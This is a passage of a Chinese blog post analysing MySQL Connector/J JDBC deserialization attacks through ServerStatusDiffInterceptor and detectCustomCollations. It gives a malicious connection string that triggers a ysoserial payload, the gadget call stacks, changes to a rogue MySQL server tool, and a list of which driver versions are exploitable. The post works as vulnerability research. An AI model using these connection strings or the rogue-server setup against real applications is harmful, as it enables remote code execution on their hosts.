• 从JDBC attack到detectCustomCollations利用范围扩展


    漏洞分析

    原理

    POC

    String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
    
    • 1

    关键属性

    queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)

    statementInterceptors:和上面的拦截器作用一致,实现了com.mysql.jdbc.StatementInterceptor接口的Class

    到底应该使用哪一个属性,我们可以在对应版本的 com.mysql.jdbc.ConnectionPropertiesImpl 类中搜索,如果存在,就是存在的那个属性

    autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。

    getObject方法的寻找

    我们可以关注到 mysql-connnector-java-xxx.jar 包中存在有 ResultSetImpl.getObject() 方法

    当然,同样的,在不同的版本下的位置不同,我这里使用的 5.1.48 版本,他的位置在 com.mysql.jdbc.ResultSetImpl 类中

    在这里插入图片描述

    首先他会判断类型,如果是 BIT 类型,就会调用 getObjectDeserializingIfNeeded 方法,跟进

    之后他首先会判断 field 是否是 Binary 或者 Blob

    BLOB (binary large object),二进制大对象,是一个可以存储二进制文件的容器。在计算机中,BLOB常常是数据库中用来存储二进制文件的字段类型

    之后取出对应的字节数,并且判断是否开启了 autoDeserialize , 如果开启了,将会进入if语句继续判断前两个字节是否为 -84 -19 这是序列化字符串的标志,hex分别为 AC ED , 如果满足条件,就会调用对应的 readObject 方法进行反序列化

    所以不难发现,如果我们能够控制需要反序列化的数据,就能够进行反序列化漏洞的利用

    ServerStatusDiffInterceptor拦截器的妙用

    我们可以关注到 com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 这个类,在其中的 populateMapWithSessionStatusValues 方法中,会调用 Util.resultSetToMap(toPopulate, rs); 方法,进而调用了 java.sql.ResultSet.getObject 方法,形成利用链

    //populateMapWithSessionStatusValues
    private void populateMapWithSessionStatusValues(Connection connection, Map toPopulate) throws SQLException {
        java.sql.Statement stmt = null;
        java.sql.ResultSet rs = null;
    
        try {
            toPopulate.clear();
    
            stmt = connection.createStatement();
            rs = stmt.executeQuery("SHOW SESSION STATUS");
            Util.resultSetToMap(toPopulate, rs); //调用getObject方法
        } finally {
            if (rs != null) {
                rs.close();
            }
    
            if (stmt != null) {
                stmt.close();
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    //Util.resultSetToMap
    public static void resultSetToMap(Map mappedValues, java.sql.ResultSet rs) throws SQLException {
        while (rs.next()) {
            mappedValues.put(rs.getObject(1), rs.getObject(2));
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    同样通过idea的 find Usages 方法找到在 postProcess 方法中调用了 populateMapWithSessionStatusValues

    public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection)
            throws SQLException {
    
        if (connection.versionMeetsMinimum(5, 0, 2)) {
            //调用
            populateMapWithSessionStatusValues(connection, this.postExecuteValues);
    
            connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
        }
    
        return null; // we don't actually modify a result set
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    同样在 preProcess 方法中也调用了

    在调用链中也可以得到

    populateMapWithSessionStatusValues:61, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
    preProcess:84, ServerStatusDiffInterceptor (com.mysql.jdbc.interceptors)
    preProcess:54, V1toV2StatementInterceptorAdapter (com.mysql.jdbc)
    preProcess:65, NoSubInterceptorWrapper (com.mysql.jdbc)
    invokeStatementInterceptorsPre:2824, MysqlIO (com.mysql.jdbc)
    sqlQueryDirect:2580, MysqlIO (com.mysql.jdbc)
    execSQL:2465, ConnectionImpl (com.mysql.jdbc)
    execSQL:2439, ConnectionImpl (com.mysql.jdbc)
    executeQuery:1365, StatementImpl (com.mysql.jdbc)
    loadServerVariables:3775, ConnectionImpl (com.mysql.jdbc)
    initializePropsFromServer:3196, ConnectionImpl (com.mysql.jdbc)
    connectOneTryOnly:2233, ConnectionImpl (com.mysql.jdbc)
    createNewIO:2015, ConnectionImpl (com.mysql.jdbc)
    :768, ConnectionImpl (com.mysql.jdbc)
    :47, JDBC4Connection (com.mysql.jdbc)
    newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
    newInstance:423, Constructor (java.lang.reflect)
    handleNewInstance:425, Util (com.mysql.jdbc)
    getInstance:385, ConnectionImpl (com.mysql.jdbc)
    connect:323, NonRegisteringDriver (com.mysql.jdbc)
    getConnection:664, DriverManager (java.sql)
    getConnection:208, DriverManager (java.sql)
    main:15, Test (pers.xstream)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    com.mysql.jdbc.ConnectImpl#loadServerVariables 方法存在需要执行一段 SHOW VARIABLES 的sql语句

    results = stmt.executeQuery(versionComment + "SHOW VARIABLES");
    
    • 1

    因为在这个版本中的 mysql-connector 使用的是 statementInterceptors 作为在执行SQL语句的拦截器类,所以在 com.mysql.jdbc.MysqlIO#sqlQueryDirect 方法中存在对这个属性值是否存在的判断,如果存在,就调用其中的拦截处理逻辑,不存在就直接放行

    进而调用了对应 InterceptorpreProcess 方法,如果我们在JDBC连接串中使用的是 ServerStatusDiffInterceptor 作为拦截器,那么就会调用他的 preProcess 方法,进而形成了利用链

    注意:在 populateMapWithSessionStatusValues 方法中存在一个执行 SHOW SESSION STATUS 获取结果的逻辑

    rs = stmt.executeQuery("SHOW SESSION STATUS");
    
    • 1

    我们在恶意Mysql服务端进行处理的时候就可以通过进行 SHOW SESSION STATUS 或者其他版本的其他标志作为标志,返回我们构造的恶意payload, 使得在后面调用了 UtilresultSetToMap 进行getObject的调用

    ResultSetImpl#getObject 方法中对mysql服务端返回的数据进行判断,这里是 Types.LONGVARBINARY 类型(长二进制数据), 再然后就是前面提到了 getObject 方法寻找的部分了

    detectCustomCollations的妙用

    在这里我们将环境中的 mysql-connector-java 包改为 5.1.29 版本

    来自 chybeta 佬的研究,我们可以关注到 ConnectionImpl#buildCollationMapping 中存在有 Util.resultSetToMap 的调用,能够形成前面所描述的利用链

    首先看一下调用栈

    buildCollationMapping:1004, ConnectionImpl (com.mysql.jdbc)
    initializePropsFromServer:3617, ConnectionImpl (com.mysql.jdbc)
    connectOneTryOnly:2550, ConnectionImpl (com.mysql.jdbc)
    createNewIO:2320, ConnectionImpl (com.mysql.jdbc)
    :834, ConnectionImpl (com.mysql.jdbc)
    :46, JDBC4Connection (com.mysql.jdbc)
    newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
    newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
    newInstance:423, Constructor (java.lang.reflect)
    handleNewInstance:411, Util (com.mysql.jdbc)
    getInstance:416, ConnectionImpl (com.mysql.jdbc)
    connect:347, NonRegisteringDriver (com.mysql.jdbc)
    getConnection:664, DriverManager (java.sql)
    getConnection:208, DriverManager (java.sql)
    main:16, Test (pers.xstream)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    从上面的截图我们可以看到有几个判断条件

    1. 需要满足服务端版本要大于 4.1.0 , 而且 detectCustomCollations 需要为 true
        if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations())
    
    • 1
    1. 需要满足大于 5.0.0 ,在 5.1.28 不存在这个条件

    同样这里获取了执行 SHOW COLLATION 命令的结果集,同样可以作为标志返回恶意payload

    只要满足上述条件,就只需要将结果集中的字段 2 或者 3 封装我们的序列化数据就可以成功利用了

    进行探索

    过程

    在大佬的研究中,提到了, detectCustomCollations 触发方式在 5.1.40 版本之后不能够利用,因为没有使用 getObject 的方式获取 SHOW COLLATION 的结果

    但是在我的跟踪中,发现了,其实还是可以利用的,虽然这个发现没有什么大用,在高版本不能使用 ServerStatusDiffInterceptor 的时候用用??

    在idea中添加对应版本的包

    
      mysql
      mysql-connector-java
      5.1.41
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在版本对比中,的确在新版本中删掉了 Util.resultSetToMap 的调用

    但是却在后面直接调用了 SHOW COLLATION 返回的结果,调用 getObject 方法,这里或许就可以达到我们的利用目的

    为什么不能够成功执行

    在发现了这个触发位置之后,我使用 工具 进行漏洞利用的时候,发现并不能够成功执行payload, 为什么呢?

    我们可以关注到在调用 getObject 的时候

    这里是取的第3列的数据,而在大佬的工具中有所描述

    SHOW SESSION STATUS和SHOW COLLATION的公用列是第二列

    同时在debug的过程中发现取出的并不是序列化数据,所以我们需要修改工具,使得返回的结果集中第3列是恶意的序列化数据,之后对利用工具进行了深入了解,和构造分析,可以知道在 server.py 中的 handle_server 方法中需要我们对其更改

    在图片所指的位置,就是我们返回集的第1,2,3的数据,可以直接改成 content 接收序列化数据,相对的,如果使用的是 config.json 配置文件执行命令的方式,就需要将上面某个的233改为 yso_dict[username]

    之后我们就可以成功利用了

    只有直到在 5.1.49 版本中做出了更改,导致不能使用

    6.x版本能够利用吗

    当然可以,在6.x版本中,他就类似于5.1.41之前的调用 Util.resultSetToMap , 在这里它使用的是 ResultSetUtil.resultSetToMap ,跟进一下看下逻辑

    是不是和之前的差不多,利用:

    版本区分

    ServerStatusDiffInterceptor

    • 5.1.11-6.0.6 使用的是 statementInterceptors 属性,而 8.0 以上使用 queryInterceptors , 具体属性可以在 ConnectionPropertiesImpl 类中搜索

    • 5.1.11 以下,不能通过这种方式利用,因为在 5.1.10Interceptors 的初始化过程在漏洞利用过程之后,将会在利用中,因为找不到 interceptor 而不能够触发成功

    • 5.0.x 没有这个拦截器

    detectCustomCollations

    • 8.0.x 不存在getObject方法的调用

    • 6.x 能够利用,因为他在 com.mysql.cj.jdbc.ConnectionImpl 中调用了 ResultSetUtil.resultSetToMap 和上面的功能类似,且没有版本判断

    • 5.1.29 开始启用 detectCustomCollations 属性,但是直到 5.1.49 做出了更改导致不能使用

    在这里值得注意的是,在 5.1.41 做出了更改,不再调用 Util.resultSetToMap 方法,进而调用getObject方法,改为了直接调用 getObject 方法

    • 5.1.19 - 5.1.28 过程中,不存在 detectCustomCollations 属性的判断,但是仍然可以调用

    • 5.1.18 以下没有使用 getObject 方法的调用

    可用连接串

    直接对 fnmsd 的研究稍作修改

    将其中5.1.41不可用改成 5.1.29 以上只有 5.1.49 不可用,且 6.x 系列都可以使用

  • 相关阅读:
    【中国知名企业高管团队】系列25:360
    linux写文件如何保证落盘?
    黑莓手机时代落幕;阿里巴巴为 Linux 内核调度器提出新概念;清理 Linux 内核“依赖地狱” | 开源日报
    Mars3D三维可视化平台
    Airtext连接chrome谷歌浏览器报错
    操作系统 day11(进程调度时机、切换、调度方式)
    day-01 Docker
    软考 系统架构设计师系列知识点之软件架构风格(7)
    DPU网络开发SDK——DPDK(一)
    算法(圆的定义和相关术语)
  • 原文地址:https://blog.csdn.net/band_mmbx/article/details/126365155